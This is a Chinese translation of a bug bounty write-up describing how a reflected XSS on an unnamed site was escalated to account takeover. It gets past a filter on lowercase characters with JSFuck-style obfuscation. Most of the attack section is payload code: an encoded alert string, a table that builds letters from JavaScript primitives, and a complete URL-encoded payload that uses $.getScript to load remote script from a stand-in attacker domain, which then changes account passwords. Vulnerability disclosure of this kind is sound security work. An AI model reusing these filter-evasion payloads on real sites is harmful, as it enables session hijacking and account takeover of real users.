JavaScript代码中如果存在代码注入漏洞的话,那确实是一个令人头疼的问题,由于这个项目并不是我们为企业环境做的渗透测试项目,因此我们可以直接将技术细节公布给大家。

简而言之,我们在某网站上发现了一个安全漏洞,经过一段时间的代码分析之后,我们成功发现了一个存在XSS漏洞的节点:

http://website.com/dir/subdir

在该节点的JavaScript代码中,有如下代码:

function("/DIR/SUBDIR",params);

使用Burp Suite扫描之后,我们发现在URL结尾添加“-alert(1)-”(http://website.com/dir/subdir/”-alert(1)-”)将能够反射XSS,浏览器会告诉我们“unable to find function ALERT(1)”:

那么接下来,我们需要测试服务器到底过滤掉了什么,比如说是“</script>”、“//”、“\”还是“.”。

寻找可用的Payload

我们也寻找到了一些解决方案,而且都跟jsfuck.com有关。

当然了,在这个站点我们也可以执行一次“alert(1)”,但这只是低危的XSS,我们想要将该漏洞提升为高危或严重漏洞。为了实现这个目标,我们将需要加载一个外部JS文件,并且能够在不需要任何用户交互的情况下执行任意Web行为。

下图显示的是一个WordPress Payload,我们的目标是在目标网站中加载要一个外部JS文件,并修改账号密码以及邮箱:

制作JsFuck Payload,在JsFuck代码中,简单地“alert(1)”会被转换为:

"-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-"

如果我想要实现“alert(document.cookie)”,那么整个JsFuck代码估计要到13000多个字符了。我发现,只要字符超过2500-2700个之后,目标站点的服务器就会返回“错误400”。

接下来,我们研究一下JsFuck的工作机制:


const SIMPLE = {

    'false':      '![]',

    'true':       '!0',

    'undefined':  '0[0]',

    'NaN':        '+[!0]',

    'Infinity':   '+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])' // +"1e1000"

  };

const CONSTRUCTORS = {

    'Array':    '[]',

    'Number':   '(+0)',

    'String':   '([]+[])',

    'Boolean':  '(!0)',

    'Function': '[]["fill"]',

    'RegExp':   'Function("return/"+0+"/")()'

  };

const MAPPING = {

    'a':   '(false+"")[1]',

    'b':   '([]["entries"]()+"")[2]',

    'c':   '([]["fill"]+"")[3]',

    'd':   '(undefined+"")[2]',

    'e':   '(true+"")[3]',

    'f':   '(false+"")[0]',

    'g':   '(false+[0]+String)[20]',

    'h':   '(+(101))["to"+String["name"]](21)[1]',

    'i':   '([false]+undefined)[10]',

    'j':   '([]["entries"]()+"")[3]',

    'k':   '(+(20))["to"+String["name"]](21)',

    'l':   '(false+"")[2]',

    'm':   '(Number+"")[11]',

    'n':   '(undefined+"")[1]',

    'o':   '(true+[]["fill"])[10]',

'p':   '(+(211))["to"+String["name"]](31)[1]',

然后,在Chrome中执行部分代码:

一般来说,我们可以直接用不同类型的变量来“包装”这些字符串,所以我们可以使用小写字符来存储类似false、true、undefined、NaN和Infinity之类的关键字字符串。

接下来,我想要避免使用小写字符:


Á=![]; //false

É=!![]; //true 

Í=[][[]]; //undefined

Ó=+[![]]; //NaN

SI=+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]);// Infinity

ST=([]+[]); //

Ü=(+[]);

A=(Á+"")[1];

D=(Í+"")[2];

E=(É+"")[3];

F=(Á+"")[0];

G=[![]+[+[]]+[[]+[]][+[]][[![]+{}][+[]][+!+[]+[+[]]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[![]+{}][+[]][+!+[]+[+[]]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]][+[]][!+[]+!+[]+[+[]]];

I=([Á]+Í)[10];

L=(Á+"")[2];

T=(É+"")[0];

O=(É+[][F+I+L+L])[10];

R=(É+"")[1];

N=(Í+"")[1];

M=(+(208))[T+O+"S"+T+R+I+N+G](31)[1];

P=(+(211))[T+O+"S"+T+R+I+N+G](31)[1];

S=(Á+"")[3];

U=(Í+"")[0];

V=(+(31))[T+O+"S"+T+R+I+N+G](32);

X=(+(101))[T+O+"S"+T+R+I+N+G](34)[1];

Y=(Ó+[SI])[10];

Z=(+(35))[T+O+"S"+T+R+I+N+G](36);

C=([][F+I+L+L]+"")[3];

H=(+(101))[T+O+"S"+T+R+I+N+G](21)[1];

K=(+(20))[T+O+"S"+T+R+I+N+G](21);

W=(+(32))[T+O+"S"+T+R+I+N+G](33);

J=([][E+N+T+R+I+E+S]()+"")[3];

B=([][E+N+T+R+I+E+S]()+"")[2];

当然了,我还需要使用到“.”和“/”,这里我可以利用浮点值1.1e+101来得到“.”:

非常好,我们要的“.”已经有了,现在还差“/”和“g”,考虑到大写字母过滤器的存在,我打算使用JsFuck,因此不得不牺牲1200个字符,不过这个Payload目前也只有500-800个字符,离最终的上限还有一段距离。

既然我们已经得到了所有需要的字符,那么接下来就是执行我们的Payload了:

[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](A+L+E+R+T(1))();

上述这段JsFuck代码会被翻译成“fill.constructor(alert(1))”,并且让我们的JavaScript文件全部以大写字母的形式执行,非常好!

我祈祷我们的目标站点使用的是JQuery,并且在页面HTML代码的结尾进行加载,那么在注入完成之后,并且等待三秒钟加载所有的依赖组件,最终执行$.getScript来加载我们的外部JS文件。

[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](S+E+T+"T"+I+M+E+O+U+T+"("+F+U+N+C+T+I+O+N+"(){ $"+DOT+G+E+T+"S"+C+R+I+P+T+"('"+SLA+SLA+"test"+SLA+"test')(); }, 3000);")();

等待了三秒钟之后,我们成功拿到了test/test请求!!接下来,使用URL编码对Payload进行编码处理,最终的Payload如下所示:

%3B%C3%81=![]%3B%C3%89=!![]%3B%C3%8D=[][[]]%3B%C3%93=%2B[![]]%3BSI=%2B(%2B!%2B[]%2B(!%2B[]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[%2B!%2B[]]%2B[%2B[]]%2B[%2B[]]%2B[%2B[]])%3BST=([]%2B[])%3B%C3%9C=(%2B[])%3BA=(%C3%81%2B%22%22)[1]%3BD%20=%20(%C3%8D%2B%22%22)[2]%3BE%20=%20(%C3%89%2B%22%22)[3]%3BF%20=%20(%C3%81%2B%22%22)[0]%3BG%20=%20[![]%2B[%2B[]]%2B[[]%2B[]][%2B[]][[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B!%2B[]]%2B[![]%2B[]][%2B[]][!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B[]]%2B[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]]][%2B[]][!%2B[]%2B!%2B[]%2B[%2B[]]]%3BI%20=%20([%C3%81]%2B%C3%8D)[10]%3BL%20=%20(%C3%81%2B%22%22)[2]%3BT%20=%20(%C3%89%2B%22%22)[0]%3BO%20=%20(%C3%89%2B[][F%2BI%2BL%2BL])[10]%3BR%20=%20(%C3%89%2B%22%22)[1]%3BN%20=%20(%C3%8D%2B%22%22)[1]%3BM%20=%20(%2B(208))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BP%20=%20(%2B(211))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BS%20=%20(%C3%81%2B%22%22)[3]%3BU%20=%20(%C3%8D%2B%22%22)[0]%3BV%20=%20(%2B(31))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](32)%3BX%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](34)[1]%3BY%20=%20(%C3%93%2B[SI])[10]%3BZ%20=%20(%2B(35))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](36)%3BC%20=%20([][F%2BI%2BL%2BL]%2B%22%22)[3]%3BH%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)[1]%3BK%20=%20(%2B(20))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)%3BW%20=%20(%2B(32))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](33)%3BJ%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[3]%3BB%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[2]%3BDOT%20=%20(%2B(%2211E100%22)%2B[])[1]%3BSLA=(![]%2B[%2B![]])[([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B([][(![]%2B[])[%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B!%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]]()[%2B!%2B[]%2B[%2B[]]]%3B[][F%2BI%2BL%2BL][C%2BO%2BN%2BS%2BT%2BR%2BU%2BC%2BT%2BO%2BR](S%2BE%2BT%2B%22T%22%2BI%2BM%2BE%2BO%2BU%2BT%2B%22(%22%2BF%2BU%2BN%2BC%2BT%2BI%2BO%2BN%2B%22()%7B%20$%22%2BDOT%2BG%2BE%2BT%2B%22S%22%2BC%2BR%2BI%2BP%2BT%2B%22('%22%2BSLA%2BSLA%2B%22BADASSDOMAIN%22%2BDOT%2B%22COM%22%2BSLA%2B%22BADASSURL')()%3B%20%7D,%203000)%3B%22)()%3B(%22

我们成功地在目标站点中加载了外部JS文件,并且我们的外部JS文件可以修改目标账号的用户密码!

总结

该漏洞可以允许攻击者实现账户接管,并将低危的XSS漏洞提升为高危漏洞,而该漏洞也拿到了1000美金的漏洞奖励。

*参考来源:medium,FB小编Alpha_h4ck编译,转自FreeBuf